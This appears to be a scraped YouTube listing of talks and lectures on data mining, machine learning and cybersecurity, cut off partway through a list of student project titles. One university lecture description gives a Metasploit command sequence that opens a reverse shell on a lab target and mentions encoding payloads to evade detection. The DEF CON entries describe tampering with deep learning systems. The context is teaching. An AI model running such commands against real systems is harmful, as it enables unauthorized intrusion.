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CCS 2016 Tutorial - Adversarial Data Mining: Big Data Meets Cyber Security
 
02:40:54
Tutorial Lecturers: Murat Kantarcioglu, University of Texas at Dallas, US & Bowei Xi, Purdue University, US presented at CCS 2016 - the 23rd ACM Conference on Computer and Communications Security (Hofburg Palace Vienna, Austria / October 24-28, 2016) - organized by SBA Research
Views: 1471 CCS 2016
Machine Learning Techniques for Cyber Security
 
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An introduction to machine learning and its applications in cyber-security. Presented by Vahid Behzadan for the OWASP Nettacker team.
Views: 498 vahidbehzadan
Machine Learning and Big Data in Cyber Security Eyal Kolman Technion lecture
 
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Machine Learning and Big Data in Cyber Security - lecture by yal Kolman of RSA given at Technion-Israel Institute of Technoloy, Technion Computer Engineering summer school 2014 Although Machine Learning tools are commonly used in numerous applications such as direct advertisements, recommendation engines, algo-trading and more, the big boom of advanced analytics in security systems is still yet to come. After introducing the main concepts of Machine Learning, we will discuss some of the promises and challenges in applying machine learning on big data for security, present the current paradigm for utilizing machine learning algorithms to solve cyber security problems, and demonstrate few concrete use-cases.
Views: 7934 Technion
Social media data mining for counter-terrorism | Wassim Zoghlami | TEDxMünster
 
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Using public social media data from twitter and Facebook, actions and announcements of terrorists – in this case ISIS – can be monitored and even be predicted. With his project #DataShield Wassim shares his idea of having a tool to identify oncoming threats and attacks in order to protect people and to induce preventive actions. Wassim Zoghlami is a Tunisian Computer Engineering Senior focussing on Business Intelligence and ERP with a passion for data science, software life cycle and UX. Wassim is also an award winning serial entrepreneur working on startups in healthcare and prevention solutions in both Tunisia and The United States. During the past years Wassim has been working on different projects and campaigns about using data driven technology to help people working to uphold human rights and to promote civic engagement and culture across Tunisia and the MENA region. He is also the co-founder of the Tunisian Center for Civic Engagement, a strong advocate for open access to research, open data and open educational resources and one of the Global Shapers in Tunis. At TEDxMünster Wassim will talk about public social media data mining for counter-terrorism and his project idea DataShield. This talk was given at a TEDx event using the TED conference format but independently organized by a local community. Learn more at http://ted.com/tedx
Views: 1842 TEDx Talks
Machine Learning Fundamentals for Cybersecurity Professionals
 
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Artificial intelligence (AI) is an increasingly used component within our cybersecurity arsenal, to defend, detect, and automate incident response. Equip yourself to critically evaluate the underpinnings of next generation AI powered cybersecurity tools by understanding key machine learning (ML) algorithms, training methodologies, development options, and ML examples for attacker behaviour detection. Cut through the hyperbole and empower yourself to ask insightful and probing questions that validate or expose vendor claims around AI cybersecurity solutions. Learning Outcomes: Understand the principle operations and security applications of key ML algorithms Learn how to select appropriate ML algorithm training approaches Examine a security threat detection and ML algorithms development lifecycle Evaluate make vs buy decisions for ML in cybersecurity Learn probing questions on AI and ML that will draw out insight or demonstrate weaknesses from vendors of AI security solution
The Growing Threat and Impact of Web-Based Malware - Stanford Computer Security
 
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http://scpd.stanford.edu/computerSecurity/ - The way malware is being distributed has undergone a fundamental shift, with attackers focusing on planting "drive-by downloads" on legitimate sites in an automated fashion, taking advantage of vulnerabilities in hosting platforms, web applications, and structural vulnerabilities in web sites. This webinar presents data analyzing the growth of infections, and show how webmasters can take a holistic approach to preventing, detecting, containing, and recovering from such attacks. Speaker: Neil Daswani, Co-founder, Dasient, Inc.
Views: 2452 stanfordonline
Real World Blockchain Applications - Cybersecurity
 
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Real World Blockchain Applications - Cybersecurity https://blockgeeks.com/guides/ In part two of our four-part series, we tackle some major issues in the world of cybersecurity, and how blockchain technology can help solve them. In this guide, we talk about the concepts of consensus and immutability. If you want to learn more, be sure to head over to blockgeeks.com where we have tons of guides, content, and videos. If you're a blockchain developer looking to earn crypto by auditing contracts, check out our sister site over at bountyone.io
Views: 456 Blockgeeks
Latest Cyber Attacks | Cyber Security | Threat Intelligence
 
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This video has latest cyber attacks information and technologies in the cybersecurity. Learn More: https://www.altencalsoftlabs.com/cyber-security/ For IT security consultation write to us at [email protected]
Views: 53 ALTEN Calsoft Labs
Webcast: Effective Security Code Review Techniques for Web Applications
 
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This webcast describes the activities, process and tools needed to find security problems in your code - quickly and effectively.
Views: 1336 Security Innovation
Data Mining for Security - Konrad Rieck
 
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Many tasks in computer security revolve around the manual analysis of data, such as the inspection of log files or network traffic. Data mining and machine learning can help to accelerate these tasks and provides versatile tools for detecting and analyzing security data. The sesions deals with the combination of machine learning and computer security. After a short introduction to the basics of machine learning, we present common learning concepts and discuss how they are applied to security problems, such as intrusion detection, malware analysis or vulnerability discovery. I am a Professor of Computer Science at Technische Universität Braunschweig. I am leading the Institute of System Security. Prior to taking this position, I have been working at the University of Göttingen, Technische Universität Berlin and Fraunhofer Institute FIRST. My research interests revolve around computer security and machine learning. This includes the detection of computer attacks, the analysis of malicious software, and the discovery of vulnerabilities. I am also interested in efficient algorithms for analyzing structured data, such as sequences, trees and graphs. My Erdős number is 3 (Müller → Jagota → Erdős). My Bacon number is ∞, though.
Views: 698 secappdev.org
The real value of your personal data - Docu - 2013
 
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The personal data that is being collected by internet companies has turned into a goldmine. The applications for this enormous mountain of data is endless, from health care uses to marketeers who can accurately predict your behavior. But who is making money from your data? And who owns your personal data? Original title: The value of your personal data. Personal data is being collected constantly. Smartphones send your location data, internet browsers store which websites you visited and credit card companies carefully register your buying patterns. One would say that all this personal data is being used to send you advertisements and banners. But that’s just the start. Your data is not only used to understand who you are right now, but also what your life will look like in the future, because that is where the big money is. Could we regain the control over our own personal data, so that we can share in the profits? Due to huge flow of information, one can tell who we are today and what we will do tomorrow. Can we get control of our own data? Information is collected and stored on your behalf. Via mobile phone and computer, every step you take is saved and analyzed. By companies like Google, Facebook, Apple and Twitter, among others. This precious personal data is not just saved. There are now new valuable uses for your data, giving your personal data the worth of gold. Data centers full of your personal data are the heart of what is called Big Data. A treasure of valuable new insights, derived from your location data, emails, photos, text messages, and more from your digital production. Because your personal data is not only used to send customized ads. Your data is used to predict your future behavior. Through smart analyzes of all your behavior that you leave behind on your mobile phone and computer, it’s easy to find out who you are. And that's not that hard, it turns out. For example, the University of Cambridge just by looking at which buttons you click on Facebook, can see if your parents are divorced, whether you are gay, and so on. Predicting human behavior, possible thanks to all your personal data, can help to design cities better, combat diseases and prevent wars. But if all of your personal data is so valuable, then shouldn’t it be time for you to get control of it? And also take part of that profit for yourself? Originally broadcasted by VPRO in 2013. © VPRO Backlight October 2013 On VPRO broadcast you will find nonfiction videos with English subtitles, French subtitles and Spanish subtitles, such as documentaries, short interviews and documentary series. VPRO Documentary publishes one new subtitled documentary about current affairs, finance, sustainability, climate change or politics every week. We research subjects like politics, world economy, society and science with experts and try to grasp the essence of prominent trends and developments. Subscribe to our channel for great, subtitled, recent documentaries. Visit additional youtube channels bij VPRO broadcast: VPRO Broadcast, all international VPRO programs: https://www.youtube.com/VPRObroadcast VPRO DOK, German only documentaries: https://www.youtube.com/channel/UCBi0VEPANmiT5zOoGvCi8Sg VPRO Metropolis, remarkable stories from all over the world: https://www.youtube.com/user/VPROmetropolis VPRO World Stories, the travel series of VPRO: https://www.youtube.com/VPROworldstories VPRO Extra, additional footage and one off's: https://www.youtube.com/channel/UCTLrhK07g6LP-JtT0VVE56A www.VPRObroadcast.com Credits: Directed by: Martijn Kieft Research: Marijntje Denters/ Jasper Koning/ Chris Vijn Production: Jenny Borger, Hellen Goossens Editors in chief: Henneke Hagen/ Frank Wiering English, French and Spanish subtitles: Ericsson. French and Spanish subtitles are co-funded by European Union.
Views: 82854 vpro documentary
Data Mining and Privacy
 
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Made with http://biteable.com
Views: 121 Jason Alaee
Nikunj Oza: "Data-driven Anomaly Detection" | Talks at Google
 
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This talk will describe recent work by the NASA Data Sciences Group on data-driven anomaly detection applied to air traffic control over Los Angeles, Denver, and New York. This data mining approach is designed to discover operationally significant flight anomalies, which were not pre-defined. These methods are complementary to traditional exceedance-based methods, in that they are more likely to yield false alarms, but they are also more likely to find previously-unknown anomalies. We discuss the discoveries that our algorithms have made that exceedance-based methods did not identify. Nikunj Oza is the leader of the Data Sciences Group at NASA Ames Research Center. He also leads a NASA project team which applies data mining to aviation safety. Dr. Ozaąs 40+ research papers represent his research interests which include data mining, machine learning, anomaly detection, and their applications to Aeronautics and Earth Science. He received the Arch T. Colwell Award for co-authoring one of the five most innovative technical papers selected from 3300+ SAE technical papers in 2005. His data mining team received the 2010 NASA Aeronautics Research Mission Directorate Associate Administratorąs Award for best technology achievements by a team. He received his B.S. in Mathematics with Computer Science from MIT in 1994, and M.S. (in 1998) and Ph.D. (in 2001) in Computer Science from the University of California at Berkeley.
Views: 7675 Talks at Google
#HITB2012KUL D1T1 - Chris Wysopal - Data Mining a Mountain of Vulnerabilities
 
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PRESENTATION MATERIALS: http://conference.hitb.org/hitbsecconf2012kul/materials/ PRESENTATION ABSTRACT: Every day, software developers around the world, from Bangalore to Silicon Valley, churn out millions of lines of insecure code. We used static binary analysis on thousands of applications submitted to us by large enterprises, commercial software vendors, open source projects, and software outsourcers, to create an anonymized vulnerability data set. By mining this data we can answer some interesting questions. There are significant differences in the quantity and types of vulnerabilities in software due to differences in where the software was developed, the type of software it is, in what language it was developed, and for what type of business the software was developed for. Which industries have the most secure and least secure code? What types of mistakes do developers make most often? Which languages and platforms have the apps with the most vulnerabilities? Should you be most worried of internally built apps, open source, commercial software, or outsourcers? How do latent vulnerabilities relate to those most often exploited. These questions and many more will be answered as we tunnel through vulnerability mountain. ABOUT CHRIS WYSOPAL Chris Wysopal (AKA Weld Pond), Veracode's CTO and Co-Founder, is responsible for the company's software security analysis capabilities. In 2008 he was named one of InfoWorld's Top 25 CTO's and one of the 100 most influential people in IT by eWeek. In 2010 he was named a SANS Security Thought Leader. One of the original vulnerability researchers and a member of L0pht Heavy Industries, he has testified on Capitol Hill in the US on the subjects of government computer security and how vulnerabilities are discovered in software. Chris was one of the first vulnerability researchers for web applications and Windows, publishing advisories in Lotus Domino, Cold Fusion, and Windows back in the mid 1990′s. Around the same time he also co-authored L0phtCrack, which he still sells today, and ported netcat to Windows. He graduated from Rensselaer Polytechnic Institute with a BS in Computer & Systems Engineering and is the author of "The Art of Software Security Testing" published by Addison-Wesley.
Detecting and Removing Web Application Vulnerabilities with Static Analysis and Data Mining
 
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Detecting and Removing Web Application Vulnerabilities with Static Analysis and Data Mining To get this project in ONLINE or through TRAINING Sessions, Contact: JP INFOTECH, Old No.31, New No.86, 1st Floor, 1st Avenue, Ashok Pillar, Chennai -83.Landmark: Next to Kotak Mahendra Bank. Pondicherry Office: JP INFOTECH, #45, Kamaraj Salai,Thattanchavady, Puducherry -9.Landmark: Next to VVP Nagar Arch. Mobile: (0) 9952649690, Email: [email protected], web: http://www.jpinfotech.org, Blog: http://www.jpinfotech.blogspot.com Although a large research effort on web application security has been going on for more than a decade, the security of web applications continues to be a challenging problem. An important part of that problem derives from vulnerable source code, often written in unsafe languages like PHP. Source code static analysis tools are a solution to find vulnerabilities, but they tend to generate false positives, and require considerable effort for programmers to manually fix the code. We explore the use of a combination of methods to discover vulnerabilities in source code with fewer false positives. We combine taint analysis, which finds candidate vulnerabilities, with data mining, to predict the existence of false positives. This approach brings together two approaches that are apparently orthogonal: humans coding the knowledge about vulnerabilities (for taint analysis), joined with the seemingly orthogonal approach of automatically obtaining that knowledge (with machine learning, for data mining). Given this enhanced form of detection, we propose doing automatic code correction by inserting fixes in the source code. Our approach was implemented in the WAP tool, and an experimental evaluation was performed with a large set of PHP applications. Our tool found 388 vulnerabilities in 1.4 million lines of code. Its accuracy and precision were approximately 5% better than PhpMinerII's and 45% better than Pixy's.
Views: 209 JPINFOTECH PROJECTS
DEF CON 24 - Clarence Chio - Machine Duping 101: Pwning Deep Learning Systems
 
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Deep learning and neural networks have gained incredible popularity in recent years. The technology has grown to be the most talked-about and least well-understood branch of machine learning. Aside from it’s highly publicized victories in playing Go, numerous successful applications of deep learning in image and speech recognition has kickstarted movements to integrate it into critical fields like medical imaging and self-driving cars. In the security field, deep learning has shown good experimental results in malware/anomaly detection, APT protection, spam/phishing detection, and traffic identification. This DEF CON 101 session will guide the audience through the theory and motivations behind deep learning systems. We look at the simplest form of neural networks, then explore how variations such as convolutional neural networks and recurrent neural networks can be used to solve real problems with an unreasonable effectiveness. Then, we demonstrate that most deep learning systems are not designed with security and resiliency in mind, and can be duped by any patient attacker with a good understanding of the system. The efficacy of applications using machine learning should not only be measured with precision and recall, but also by their malleability in an adversarial setting. After diving into popular deep learning software, we show how it can be tampered with to do what you want it do, while avoiding detection by system administrators. Besides giving a technical demonstration of deep learning and its inherent shortcomings in an adversarial setting, we will focus on tampering real systems to show weaknesses in critical systems built with it. In particular, this demo-driven session will be focused on manipulating an image recognition system built with deep learning at the core, and exploring the difficulties in attacking systems in the wild. We will introduce a tool that helps deep learning hackers generate adversarial content for arbitrary machine learning systems, which can help make models more robust. By discussing defensive measures that should be put in place to prevent the class of attacks demonstrated, we hope to address the hype behind deep learning from the context of security, and look towards a more resilient future of the technology where developers can use it safely in critical deployments. Bio: Clarence Chio graduated with a B.S. and M.S. in Computer Science from Stanford, specializing in data mining and artificial intelligence. He currently works as a Security Research Engineer at Shape Security, building a product that protects high valued web assets from automated attacks. At Shape, he works on the data analysis systems used to tackle this problem. Clarence spoke on Machine Learning and Security at PHDays, BSides Las Vegas and NYC, Code Blue, SecTor, and Hack in Paris. He had been a community speaker with Intel, and is also the founder and organizer of the ‘Data Mining for Cyber Security’ meet up group, the largest gathering of security data scientists in the San Francisco Bay Area.
Views: 8368 DEFCONConference
Leveraging Propagation for Data Mining: Models, Algorithms and Applications (Part 1)
 
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Authors: Naren Ramakrishnan, Department of Computer Science, Virginia Polytechnic Institute and State University B. Aditya Prakash, Department of Computer Science, Virginia Polytechnic Institute and State University Abstract: Can we infer if a user is sick from her tweet? How do opinions get formed in online forums? Which people should we immunize to prevent an epidemic as fast as possible? How do we quickly zoom out of a graph? Graphs - also known as networks - are powerful tools for modeling processes and situations of interest in real life domains of social systems, cyber-security, epidemiology, and biology. They are ubiquitous, from online social networks, gene-regulatory networks, to router graphs. This tutorial will cover recent and state-of-the-art research on how propagation-like processes can help big-data mining specifically involving large networks and time-series, algorithms behind network problems, and their practical applications in various diverse settings. Topics include diffusion and virus propagation in networks, anomaly and outbreak detection, event prediction and connections with work in public health, the web and online media, social sciences, humanities, and cyber-security. More on http://www.kdd.org/kdd2016/ KDD2016 Conference is published on http://videolectures.net/
Views: 96 KDD2016 video
INTRODUCTION TO DATA MINING IN HINDI
 
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Buy Software engineering books(affiliate): Software Engineering: A Practitioner's Approach by McGraw Hill Education https://amzn.to/2whY4Ke Software Engineering: A Practitioner's Approach by McGraw Hill Education https://amzn.to/2wfEONg Software Engineering: A Practitioner's Approach (India) by McGraw-Hill Higher Education https://amzn.to/2PHiLqY Software Engineering by Pearson Education https://amzn.to/2wi2v7T Software Engineering: Principles and Practices by Oxford https://amzn.to/2PHiUL2 ------------------------------- find relevant notes at-https://viden.io/
Views: 101225 LearnEveryone
Data Mining and Security- Eric Robson Interview
 
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In this video, Eric Robson of the TSSG explains what data mining is to Cian O'Sullivan; it's practical applications in the field, possible security risks, and how the TSSG can use data mining to help businesses and researchers
Views: 36 TSSG
DEF CON 24 - Machine Duping 101: Pwning Deep Learning Systems
 
44:13
Clarence Chio ML Hacker Deep learning and neural networks have gained incredible popularity in recent years. The technology has grown to be the most talked-about and least well-understood branch of machine learning. Aside from it's highly publicized victories in playing Go, numerous successful applications of deep learning in image and speech recognition has kickstarted movements to integrate it into critical fields like medical imaging and self-driving cars. In the security field, deep learning has shown good experimental results in malware/anomaly detection, APT protection, spam/phishing detection, and traffic identification. This DEF CON 101 session will guide the audience through the theory and motivations behind deep learning systems. We look at the simplest form of neural networks, then explore how variations such as convolutional neural networks and recurrent neural networks can be used to solve real problems with an unreasonable effectiveness. Then, we demonstrate that most deep learning systems are not designed with security and resiliency in mind, and can be duped by any patient attacker with a good understanding of the system. The efficacy of applications using machine learning should not only be measured with precision and recall, but also by their malleability in an adversarial setting. After diving into popular deep learning software, we show how it can be tampered with to do what you want it do, while avoiding detection by system administrators. Besides giving a technical demonstration of deep learning and its inherent shortcomings in an adversarial setting, we will focus on tampering real systems to show weaknesses in critical systems built with it. In particular, this demo-driven session will be focused on manipulating an image recognition system built with deep learning at the core, and exploring the difficulties in attacking systems in the wild. We will introduce a tool that helps deep learning hackers generate adversarial content for arbitrary machine learning systems, which can help make models more robust. By discussing defensive measures that should be put in place to prevent the class of attacks demonstrated, we hope to address the hype behind deep learning from the context of security, and look towards a more resilient future of the technology where developers can use it safely in critical deployments. Clarence Chio graduated with a B.S. and M.S. in Computer Science from Stanford, specializing in data mining and artificial intelligence. He currently works as a Security Research Engineer at Shape Security, building a product that protects high valued web assets from automated attacks. At Shape, he works on the data analysis systems used to tackle this problem. Clarence spoke on Machine Learning and Security at PHDays, BSides Las Vegas and NYC, Code Blue, SecTor, and Hack in Paris. He had been a community speaker with Intel, and is also the founder and organizer of the ‘Data Mining for Cyber Security’ meetup group, the largest gathering of security data scientists in the San Francisco Bay Area. Twitter: @cchio
Views: 12471 HackersOnBoard
Cyber Security Inc. (www.CyberSecurityinc.com)
 
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Penetration Testing, Vulnerability Assessment, Security Testing For a Secure Cyber World.
Views: 38481 Cyber Security Inc.
Software Vulnerabilities: Computer Security Lectures 2014/15 S2
 
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This video is part of the computer/information/cyber security and ethical hacking lecture series; by Z. Cliffe Schreuders at Leeds Beckett University. Laboratory work sheets, slides, and other open educational resources are available at http://z.cliffe.schreuders.org. The slides themselves are creative commons licensed CC-BY-SA, and images used are licensed as individually attributed. Topics covered in this lecture include: Programs behaving badly Software vulnerabilities Exploits Exploitation Payloads A payload is the malicious code that is consequently run on the target system, if the exploit is successful Common types of vulnerabilities / payloads Information leaks Denial of service (DoS) Arbitrary code execution: the attacker can run code/commands Specific database/shell commands The execution of machine code Bind shell Reverse shell Privilege Escalation Vertical privilege escalation Access to resources for higher privilege users or applications Horizontal privilege escalation Access to resources for other users or applications Window of vulnerability A zero day security vulnerability is a new security problem that has been discovered Vulnerability disclosure Responsible disclosure Full disclosure Vulnerability reward schemes.. Google Vulnerability Rewards Program Reward schemes generally require 'responsible disclosure' Facebook Responsible Disclosure Policy Vulnerability reward schemes Others such as TippingPoint, Secunia, and iDefense will pay for exploits against popular vendors Bugcrowd Project Zero In 2014 Google started Project Zero Auditing and permission “Ethical hacking”, basically means you have legal permission to do a security audit Updating: Keeping software up-to-date so that you have all the vendor-supplied fixes Patching Could be source or binary changes More mitigation... Vulnerability analysis scanning Checking against databases of known vulnerabilities (automated using tools such as Nessus or manually checking advisories) Penetration testing... Metasploit framework (MSF) Developed by HD Moore The framework is FOSS, with some proprietory interfaces, now owned by Rapid7 Highly modular: can easily combine different exploits and payloads Much more flexible than the manual method of altering exploits programmed in C Metasploit framework (MSF) Includes an extensive library of modules Exploits Payloads Encoding Post-exploitation actions MSF exploits MSF contains over 1000 exploits, including: OS flaws: Windows, Linux, Mac, ... Services: Apache, IIS, … Applications: Adobe Reader, IE, Firefox, … Web apps: some new support MSF payloads MSF contains many payloads: msfpayload -l | less Most target specific platforms bind or reverse shells, VNC, etc MSF encode MSF can encode exploits/payloads to avoid detection Alternative instructions Encrypt instructions, along with decrypt code Similar to how polymorphic viruses avoid detection Can also bind and convert payloads to executables Lots of encoding methods: msfencode -l MSF interfaces Msfcli: command line Msfconsole: console (very powerful) Metasploit Community / Pro: proprietory web interfaces and additional tools Armitage: FOSS GUI Steps of using MSF to exploit Specify the exploit to use Set options for the exploit (such as the IP address of the computer to attack) Choose a payload (this defines what we end up doing on the compromised system) Optionally choose encoding to evade security monitoring such as anti-malware, intrusion detection systems (IDS), and so on Launch the exploit Example (vs Metasploitable) use exploit/multi/samba/usermap_script show options set RHOST {Metasploitable-IP-Address} show payloads set PAYLOAD cmd/unix/reverse set LHOST {Your-Kali-IP-Address} set LPORT {Your-Choice-of-Port} check exploit Malware and vulnerabilities
How Analytics Enables Security Analytics - Or Not
 
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This is a recording of a talk at the Conference on Knowledge Discovery and Data Mining (KDD) in Chicago in August 2013. Slides are at: http://slidesha.re/1bsVNcX. The talk discusses the data mining and analytics challenges in information security. In the Cyber Security domain, we have been collecting 'big data' for almost two decades. The volume and variety of our data is extremely large, but understanding and capturing the semantics of the data is even more of a challenge. Finding the needle in the proverbial haystack has been attempted from many different angles. In this talk we will have a look at what approaches have been explored, what has worked, and what has not. We will see that there is still a large amount of work to be done and data mining is going to play a central role. We'll try to motivate that in order to successfully find bad guys, we will have to embrace a solution that not only leverages clever data mining, but employs the right mix between human computer interfaces, data mining, and scalable data platforms.
Views: 3037 Raffael Marty
CompTIA Cyber Security Analyst (CSO-001) Exam Intro Exam Training Review csa casp security plus
 
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Please support my channel by subscribing (Subscribe). With your continued support I will invest in better quality content and monthly prize drawings... Please check the video description for links for discounted services if applicable. NEW COURSE. CSA BOOTCAMP https://www.udemy.com/comptia-cybersecurity-analyst-csa-test-prep-bootcamp/?couponCode=YOUTUBE2017CSA Want some practice questions to ramp up for the exam at a discounted price! https://www.udemy.com/comptia-cybersecurity-analyst-csa-cert-practice-tests/?couponCode=YOUTUBECSAE2017 The CompTIA Cybersecurity Analyst+ examination CS0-001 is designed for IT security analysts, vulnerability analysts, or threat intelligence analysts. The exam will certify that the successful candidate has the knowledge and skills required to configure and use threat detection tools, perform data analysis, and interpret the results to identify vulnerabilities, threats, and risks to an organization with the end goal of securing and protecting applications and systems within an organization.” Cloudbursting Corp EXAM LINK https://certification.comptia.org/certifications/cybersecurity-analyst Exam Objectives Identify tools and techniques to use to perform an environmental reconnaissance of a target network or security system. Collect, analyze, and interpret security data from multiple log and monitoring sources. Use network host and web application vulnerability assessment tools and interpret the results to provide effective mitigation. Understand and remediate identity management, authentication, and access control issues. Participate in a senior role within an incident response team and use forensic tools to identify the source of an attack. Understand the use of frameworks, policies, and procedures and report on security architecture with recommendations for effective compensating controls Topic Overview Incident Response Forensic Tools Incident Analysis and Recovery Secure Network Design Managing Identities Security Frameworks Cybersecurity Analysts Reconnassiance Techniques Security Appliances Logging Vulnerabilities (Managing and Remediating) Secure Software Development Job Roles Security Analyst Security Operations Center (SOC) Analyst Vulnerability Analyst Cybersecurity Specialist Threat Intelligence Analyst Security Engineer Check out my Discounted Google Cloud Platform Architect Bootcamp. https://www.udemy.com/google-cloud-certified-professional-architect-bootcamp/?couponCode=GCPCAYOUTUBE2017 Check out my Google Cloud Platform Cloud Architect Test Prep Practice Questions. Just like the exam experience..... https://www.udemy.com/google-cloud-certified-architect-practice-questions/?couponCode=GCPCAQYOUTUBE2017 GCP Cloud Architect Exam Review. A Google Certified Professional - Cloud Architect enables organizations to leverage Google Cloud technologies. Through an understanding of cloud architecture and Google technology, this individual designs, develops, and manages robust, secure, scalable, highly available, and dynamic solutions to drive business objectives. The Cloud Architect should be proficient in all aspects of solution development including implementation details, developing prototypes, and architectural best practices. The Cloud Architect should also be experienced in microservices and multi-tiered distributed applications which span multi-cloud or hybrid environments. Check out my Cloud Architect Course on Udemy. https://www.udemy.com/become-a-high-earning-cloud-solutions-architect-bootcamp/ Check out my Litecoin(LTC) course on Udemy. https://www.udemy.com/the-complete-litecoin-crypto-currency-bootcamp/#curriculum Genesis Mining https://www.genesis-mining.com/a/1023226 and you can use "9zoi8F" in the Promo Code. Coinbase Get $10.00 in free Bitcoin... https://www.coinbase.com/join/58ba2387a66a5b0184e25d49 security plus casp ips ids
Views: 14394 The Cloud Tech Guy Joe
Machine Learning and the Cloud: Disrupting Threat Detection and Prevention
 
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Mark Russinovich, Chief Technology Officer, Microsoft Azure, Microsoft Machine learning with large data sets gives unprecedented insights and anomaly detection capability. Learn how Microsoft uses the agility and scale of the cloud to protect its infrastructure and customers by applying data mining and machine learning algorithms and security domain learnings to the vast amounts of data and telemetry gathered by its many different systems and services. http://www.rsaconference.com/events/us16
Views: 7649 RSA Conference
Leveraging Propagation for Data Mining: Models, Algorithms and Applications (Part 3)
 
01:12:06
Authors: Naren Ramakrishnan, Department of Computer Science, Virginia Polytechnic Institute and State University B. Aditya Prakash, Department of Computer Science, Virginia Polytechnic Institute and State University Abstract: Can we infer if a user is sick from her tweet? How do opinions get formed in online forums? Which people should we immunize to prevent an epidemic as fast as possible? How do we quickly zoom out of a graph? Graphs - also known as networks - are powerful tools for modeling processes and situations of interest in real life domains of social systems, cyber-security, epidemiology, and biology. They are ubiquitous, from online social networks, gene-regulatory networks, to router graphs. This tutorial will cover recent and state-of-the-art research on how propagation-like processes can help big-data mining specifically involving large networks and time-series, algorithms behind network problems, and their practical applications in various diverse settings. Topics include diffusion and virus propagation in networks, anomaly and outbreak detection, event prediction and connections with work in public health, the web and online media, social sciences, humanities, and cyber-security. More on http://www.kdd.org/kdd2016/ KDD2016 Conference is published on http://videolectures.net/
Views: 40 KDD2016 video
Inside Israel’s Cyber Security Capital
 
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CNN recently traveled to the Middle East for a segment about cyber security, dropping by BGU’s Cyber Security Research Center to explore how the University is an essential component of Beer-Sheva’s cyber ecosystem. Start at 5:30 mark to view footage featuring Beer-Sheva and BGU.
Views: 4532 aabgu
Online surveillance software / data mining
 
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A look at how monitoring patterns of behavior online can be construed as subversive behavior. Will this become the truncheon of a world police state?
Views: 36799 germanjournal
Identifying product opportunities using social media mining Application of topic modeling and chance
 
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- IEEE PROJECTS 2018 Download projects @ www.micansinfotech.com WWW.SOFTWAREPROJECTSCODE.COM https://www.facebook.com/MICANSPROJECTS Call: +91 90036 28940 ; +91 94435 11725 IEEE PROJECTS, IEEE PROJECTS IN CHENNAI,IEEE PROJECTS IN PONDICHERRY.IEEE PROJECTS 2018,IEEE PAPERS,IEEE PROJECT CODE,FINAL YEAR PROJECTS,ENGINEERING PROJECTS,PHP PROJECTS,PYTHON PROJECTS,NS2 PROJECTS,JAVA PROJECTS,DOT NET PROJECTS,IEEE PROJECTS TAMBARAM,HADOOP PROJECTS,BIG DATA PROJECTS,Signal processing,circuits system for video technology,cybernetics system,information forensic and security,remote sensing,fuzzy and intelligent system,parallel and distributed system,biomedical and health informatics,medical image processing,CLOUD COMPUTING, NETWORK AND SERVICE MANAGEMENT,SOFTWARE ENGINEERING,DATA MINING,NETWORKING ,SECURE COMPUTING,CYBERSECURITY,MOBILE COMPUTING, NETWORK SECURITY,INTELLIGENT TRANSPORTATION SYSTEMS,NEURAL NETWORK,INFORMATION AND SECURITY SYSTEM,INFORMATION FORENSICS AND SECURITY,NETWORK,SOCIAL NETWORK,BIG DATA,CONSUMER ELECTRONICS,INDUSTRIAL ELECTRONICS,PARALLEL AND DISTRIBUTED SYSTEMS,COMPUTER-BASED MEDICAL SYSTEMS (CBMS),PATTERN ANALYSIS AND MACHINE INTELLIGENCE,SOFTWARE ENGINEERING,COMPUTER GRAPHICS, INFORMATION AND COMMUNICATION SYSTEM,SERVICES COMPUTING,INTERNET OF THINGS JOURNAL,MULTIMEDIA,WIRELESS COMMUNICATIONS,IMAGE PROCESSING,IEEE SYSTEMS JOURNAL,CYBER-PHYSICAL-SOCIAL COMPUTING AND NETWORKING,DIGITAL FORENSIC,DEPENDABLE AND SECURE COMPUTING,AI - MACHINE LEARNING (ML),AI - DEEP LEARNING ,AI - NATURAL LANGUAGE PROCESSING ( NLP ),AI - VISION (IMAGE PROCESSING),mca project 156. VOD-ADAC: Anonymous Distributed Fine-Grained Access Control Protocol with Verifiable Outsourced Decryption in Public Cloud 157. Privacy-Preserving Selective Aggregation of Online User Behavior Data 158. Energy Optimization With Dynamic Task Scheduling Mobile Cloud Computing 159. Energy-Aware Load Balancing and Application Scaling for the Cloud Ecosystem 160. Flexible Data Access Control based on Trust and Reputation in Cloud Computing 161. A Pareto-based Genetic Algorithm for Optimized Assignment of VM Requests on a Cloud Brokering Environment 162. Achieving Secure and Efficient Dynamic Searchable Symmetric Encryption over Medical Cloud Data 163. Power Consumption-Aware Virtual Machine Placement in Cloud Data Center 164. Sports Management system 165. Energy-Efficient Many-Objective Virtual Machine Placement Optimization in a Cloud Computing Environment 166. Time saving protocol for data accessing in cloud computing 167. Verifiable and Exculpable Outsourced Attribute-Based Encryption for Access Control in Cloud Computing 168. Optimized Resource Allo cation On Hybrid Cloud Network For Big Data Applications Using Statistical Analysis 169. Joint Optimal Pricing and Task Scheduling in Mobile Cloud Computing Systems 170. An Analysis of Healthcare Monitoring Environment Using Elliptic 171. Live VM Migration Under Time-Constraints in Share-Nothing IaaS-Clouds 172. Private and Secured Medical Data Transmission and Analysis for Wireless Sensing Healthcare System 173. Full Verifiability for Outsourced Decryption in Attribute Based Encryption 174. A Joint Optimization of Operational Cost and Performance Interference in Cloud Data Centers 175. Delay-Optimized File Retrieval under LT-Based Cloud Storage 176. Provably Secure Key-Aggregate Cryptosystems with Broadcast Aggregate Keys for Online Data Sharing on the Cloud 177. CLOAK: A Stream Cipher Based Encryption Protocol for Mobile Cloud Computing 178. DaSCE: Data Security for Cloud Environment with Semi-Trusted Third Party 179. Fine-Grained Two-Factor Protection Mechanism for Data Sharing in Cloud Storage 180. Big Health Application System based on Health Internet of Things and Big Data 181. Provably Secure Dynamic ID-based Anonymous Two-factor Authenticated Key Exchange Protocol with Extended Security Model 182. Dynamic Encrypted Data Sharing Scheme Based on Conditional Proxy Broadcast Re-Encryption for Cloud Storage 183. Non-Repudiable Provable Data Possession Scheme With Designated Verifier in Cloud Storage Systems 184. Towards Pricing for Sensor Cloud 185. EFFICIENT FRAMEWORK AND TECHNIQUES OF DATA DEDUPULICATION IN CLOUD COMPUTING 186. Ciphertext-Policy Attribute-based Encryption with Delegated Equality Test in Cloud Computing 187. Workload modeling for resource usage analysis and simulation in cloud computing 188. Two-factor Data Access Control with Efficient Revocation for Multi-authority Cloud Storage Systems 189. LS-AMS: An Adaptive Indexing Structure for Realtime Search on Microblogs 190. PRIVATE AND PUBLIC WI-FI DETECTION 191. A Lightweight Secure Data Sharing Scheme for Mobile Cloud Computing 192. Load Balancing Under 